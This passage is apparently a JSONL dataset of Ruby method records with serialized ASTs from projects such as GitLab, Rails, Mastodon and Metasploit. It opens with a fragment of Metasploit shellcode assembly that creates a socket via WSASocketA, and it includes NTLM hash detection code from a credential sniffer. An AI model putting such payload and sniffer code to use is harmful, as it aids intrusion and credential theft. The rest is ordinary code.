specified\\n\"]},{\"type\":\"str\",\"children\":[\"      inc eax\\n\"]},{\"type\":\"str\",\"children\":[\"      push eax                  ; SOCK_STREAM\\n\"]},{\"type\":\"str\",\"children\":[\"      inc eax\\n\"]},{\"type\":\"str\",\"children\":[\"      push eax                  ; AF_INET\\n\"]},{\"type\":\"str\",\"children\":[\"      push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"ws2_32.dll\"]},{\"type\":\"str\",\"children\":[\"WSASocketA\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      call ebp                  ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0)\\n\"]},{\"type\":\"str\",\"children\":[\"      xchg edi, eax\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]}","id":"d86b286c-34b0-41ff-aa15-16484e1385b4"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/chat_thread.rb","start_line":125,"raw_source":"def click_more_button\n        find(\".more-buttons\").click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_more_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".more-buttons\"]}]},\"click\"]}]}","id":"7ee71669-73fd-4d4c-8d90-a06d1ad74d35"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issuable/callbacks/milestone.rb","start_line":61,"raw_source":"def update_usage_data_counters\n        return unless issuable.is_a?(MergeRequest)\n\n        Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter\n          .track_milestone_changed_action(user: current_user)\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_usage_data_counters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issuable\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UsageDataCounters\"]},\"MergeRequestActivityUniqueCounter\"]},\"track_milestone_changed_action\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}]}","id":"0fb3718b-fe49-4a05-b675-c5d79e4573a9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/data/exploits/psnuffle/smb.rb","start_line":82,"raw_source":"def detect_ntlm_ver(lmhash, ntlmhash)\n    return \"NTLMv2\" if ntlmhash.length > 48\n    if lmhash.length == 48 and ntlmhash.length == 48\n      if lmhash != \"00\" * 24 and lmhash[16,32] == \"00\" * 16\n        return \"NTLM2_SESSION\"\n      else\n        return \"NTLMv1\"\n      end\n    else\n      raise RuntimeError, \"Unknown hash type\"\n    end\n  end","complexity_score":22.45,"ast_json":"{\"type\":\"def\",\"children\":[\"detect_ntlm_ver\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lmhash\"]},{\"type\":\"arg\",\"children\":[\"ntlmhash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ntlmhash\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[48]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"NTLMv2\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lmhash\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[48]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ntlmhash\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[48]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lmhash\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"00\"]},\"*\",{\"type\":\"int\",\"children\":[24]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lmhash\"]},\"[]\",{\"type\":\"int\",\"children\":[16]},{\"type\":\"int\",\"children\":[32]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"00\"]},\"*\",{\"type\":\"int\",\"children\":[16]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"NTLM2_SESSION\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"NTLMv1\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]},{\"type\":\"str\",\"children\":[\"Unknown hash type\"]}]}]}]}]}","id":"0774dc07-4bb6-4228-8db2-a22a1514fc87"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ntp/header.rb","start_line":45,"raw_source":"def set(time)\n      if time.nil?\n        seconds = fraction = 0\n      else\n        seconds_since_epoch = time.to_r - UNIX_EPOCH.to_r\n        seconds = seconds_since_epoch.to_i\n        fraction = ((seconds_since_epoch - seconds) * (2**32)).to_i\n      end\n\n      self.seconds = seconds\n      self.fraction = fraction\n    end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"set\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"seconds\",{\"type\":\"lvasgn\",\"children\":[\"fraction\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"seconds_since_epoch\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"to_r\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UNIX_EPOCH\"]},\"to_r\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"seconds\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seconds_since_epoch\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fraction\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seconds_since_epoch\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"seconds\"]}]}]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"**\",{\"type\":\"int\",\"children\":[32]}]}]}]}]},\"to_i\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"seconds=\",{\"type\":\"lvar\",\"children\":[\"seconds\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fraction=\",{\"type\":\"lvar\",\"children\":[\"fraction\"]}]}]}]}","id":"ceb61f84-0658-4a3b-a598-3a9e109edbfc"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/spec/dummy/db/migrate/20251021170000_add_v1_9_columns.rb","start_line":4,"raw_source":"def change\n    return if column_exists?(:messages, :cached_tokens)\n\n    add_column :messages, :cached_tokens, :integer\n    add_column :messages, :cache_creation_tokens, :integer\n    add_column :messages, :content_raw, :json\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column_exists?\",{\"type\":\"sym\",\"children\":[\"messages\"]},{\"type\":\"sym\",\"children\":[\"cached_tokens\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"messages\"]},{\"type\":\"sym\",\"children\":[\"cached_tokens\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"messages\"]},{\"type\":\"sym\",\"children\":[\"cache_creation_tokens\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"messages\"]},{\"type\":\"sym\",\"children\":[\"content_raw\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]}]}","id":"2a0feda0-0c25-410b-bceb-271b2e7c0915"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/build_bundle_file_sizes.rb","start_line":27,"raw_source":"def self.all(client: nil, build_bundle_id: nil, limit: 30)\n        client ||= Spaceship::ConnectAPI\n        resps = client.get_build_bundles_build_bundle_file_sizes(build_bundle_id: build_bundle_id).all_pages\n        resps.flat_map(&:to_models)\n      end","complexity_score":6.65,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"all\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"client\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"build_bundle_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"limit\",{\"type\":\"int\",\"children\":[30]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]}]},{\"type\":\"lvasgn\",\"children\":[\"resps\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"get_build_bundles_build_bundle_file_sizes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"build_bundle_id\"]},{\"type\":\"lvar\",\"children\":[\"build_bundle_id\"]}]}]}]},\"all_pages\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resps\"]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_models\"]}]}]}]}]}","id":"20e3082a-d30e-44e4-8029-a8f50c063db9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/projects/exports/pdf.rb","start_line":69,"raw_source":"def heading\n      query.name || I18n.t(:label_project_plural)\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"heading\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_project_plural\"]}]}]}]}","id":"6a9b53ec-975e-4be4-8d30-d569881e2e94"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/brakeman.rb","start_line":153,"raw_source":"def test_version_between_pre_release\n    assert version_between?(\"3.2.9.rc2\", \"3.2.5\", \"4.0.0\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_version_between_pre_release\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"3.2.9.rc2\"]},{\"type\":\"str\",\"children\":[\"3.2.5\"]},{\"type\":\"str\",\"children\":[\"4.0.0\"]}]}]}]}","id":"9d8348af-40e8-461d-8d24-5b9735266e47"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/comments_help.rb","start_line":56,"raw_source":"def start_line_position(node)\n        buffer.line_range(node.loc.line).begin_pos - 1\n      end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"start_line_position\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"buffer\"]},\"line_range\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"line\"]}]},\"begin_pos\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"e3a20795-82ab-4949-aa3b-f3715e1be572"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/tag_serializer.rb","start_line":31,"raw_source":"def featuring\n    if instance_options && instance_options[:relationships]\n      instance_options[:relationships].featuring_map[object.id] || false\n    else\n      FeaturedTag.exists?(tag_id: object.id, account_id: current_user.account_id)\n    end\n  end","complexity_score":22.3,"ast_json":"{\"type\":\"def\",\"children\":[\"featuring\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"relationships\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"relationships\"]}]},\"featuring_map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"id\"]}]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeaturedTag\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"account_id\"]}]}]}]}]}]}","id":"f0ea895f-cba2-4c4c-88d5-c3247ec23b3e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/dev/update_joomla_components.rb","start_line":45,"raw_source":"def error(txt)\n  puts \"[#{'ERROR'.red}] #{cleanup_text(txt)}\"\nend","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"txt\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"ERROR\"]},\"red\"]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cleanup_text\",{\"type\":\"lvar\",\"children\":[\"txt\"]}]}]}]}]}]}","id":"7e471738-48c2-48ad-84c1-048f0f5ee1bd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/merge_requests/diffs_controller.rb","start_line":29,"raw_source":"def diff_by_file_hash\n    diff_file = @compare.diffs.diff_files.find { |file| file.file_hash == params[:file_hash] }\n    params[:old_path] = diff_file&.old_path\n    params[:new_path] = diff_file&.new_path\n\n    render_diffs\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_by_file_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff_file\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@compare\"]},\"diffs\"]},\"diff_files\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"file_hash\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file_hash\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"old_path\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_file\"]},\"old_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"new_path\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_file\"]},\"new_path\"]}]},{\"type\":\"send\",\"children\":[null,\"render_diffs\"]}]}]}","id":"2dda0073-b7ab-4591-8c20-fe614f98cb78"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/follow.rb","start_line":78,"raw_source":"def invalidate_follow_recommendations_cache\n    Rails.cache.delete(\"follow_recommendations/#{account_id}\")\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"invalidate_follow_recommendations_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"delete\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"follow_recommendations/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_id\"]}]}]}]}]}","id":"f7b44721-3f72-47a7-8746-52f4bbced821"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/activerecord/polymorphic_routes_test.rb","start_line":615,"raw_source":"def test_nested_routing_to_a_model_delegate\n    with_test_routes do\n      assert_url \"http://example.com/foo/model_delegates/overridden\", [:foo, @delegator]\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nested_routing_to_a_model_delegate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_test_routes\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_url\",{\"type\":\"str\",\"children\":[\"http://example.com/foo/model_delegates/overridden\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"ivar\",\"children\":[\"@delegator\"]}]}]}]}]}","id":"6af3eb02-c499-4028-a1f8-e221a7724584"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/plugin_helper.rb","start_line":118,"raw_source":"def add_users_to_channel(users, channel, user: Discourse.system_user)\n    ::Chat::AddUsersToChannel.call(\n      guardian: user.guardian,\n      params: {\n        channel_id: channel.id,\n        usernames: Array(users).map(&:username),\n      },\n    ) do |result|\n      on_success { result }\n      on_failure { service_failed!(result) }\n    end\n  end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"add_users_to_channel\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"users\"]},{\"type\":\"arg\",\"children\":[\"channel\"]},{\"type\":\"kwoptarg\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Chat\"]},\"AddUsersToChannel\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"guardian\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"guardian\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"usernames\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"users\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]}]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_success\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failure\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"service_failed!\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]}]}","id":"5e10e8d6-5cc4-4e5c-a549-f30ac895f395"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/tree_controller.rb","start_line":69,"raw_source":"def tree\n    @tree ||= @repo.tree(@commit.id, @path)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tree\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tree\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repo\"]},\"tree\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@commit\"]},\"id\"]},{\"type\":\"ivar\",\"children\":[\"@path\"]}]}]}]}","id":"c6aefa7f-94ab-4385-92ab-2401db1f293a"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/journable/with_historic_attributes.rb","start_line":218,"raw_source":"def inspect\n    __getobj__.inspect.gsub(/#<(.+)>/m, \"#<#{self.class.name} \\\\1>\")\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"inspect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__getobj__\"]},\"inspect\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"#<(.+)>\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#<\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" \\\\1>\"]}]}]}]}","id":"b7dcc162-39d6-4dfd-9433-91b5a46b41f6"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/standardfilters.rb","start_line":189,"raw_source":"def base64_url_safe_decode(input)\n      input = Utils.to_s(input)\n      StandardFilters.try_coerce_encoding(Base64.urlsafe_decode64(input), encoding: input.encoding)\n    rescue ::ArgumentError\n      raise Liquid::ArgumentError, \"invalid base64 provided to base64_url_safe_decode\"\n    end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"base64_url_safe_decode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Utils\"]},\"to_s\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardFilters\"]},\"try_coerce_encoding\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"urlsafe_decode64\",{\"type\":\"lvar\",\"children\":[\"input\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"encoding\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"encoding\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ArgumentError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"invalid base64 provided to base64_url_safe_decode\"]}]}]},null]}]}","id":"9383c38d-15e3-46e5-b8ff-a680934f8aa7"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/enumerable_test.rb","start_line":394,"raw_source":"def test_sole\n    expected_raise = Enumerable::SoleItemExpectedError\n\n    assert_raise(expected_raise) { GenericEnumerable.new([]).sole }\n    assert_equal 1, GenericEnumerable.new([1]).sole\n    assert_raise(expected_raise) { GenericEnumerable.new([1, 2]).sole }\n    assert_raise(expected_raise) { GenericEnumerable.new([1, nil]).sole }\n    assert_raise(expected_raise) { GenericEnumerable.new(1..).sole }\n  end","complexity_score":24.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sole\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Enumerable\"]},\"SoleItemExpectedError\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"lvar\",\"children\":[\"expected_raise\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GenericEnumerable\"]},\"new\",{\"type\":\"array\",\"children\":[]}]},\"sole\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GenericEnumerable\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]}]},\"sole\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"lvar\",\"children\":[\"expected_raise\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GenericEnumerable\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]}]},\"sole\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"lvar\",\"children\":[\"expected_raise\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GenericEnumerable\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"nil\",\"children\":[]}]}]},\"sole\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"lvar\",\"children\":[\"expected_raise\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GenericEnumerable\"]},\"new\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},null]}]},\"sole\"]}]}]}]}","id":"1ed73c5b-1482-4fc1-97ef-b526e7c1416d"}
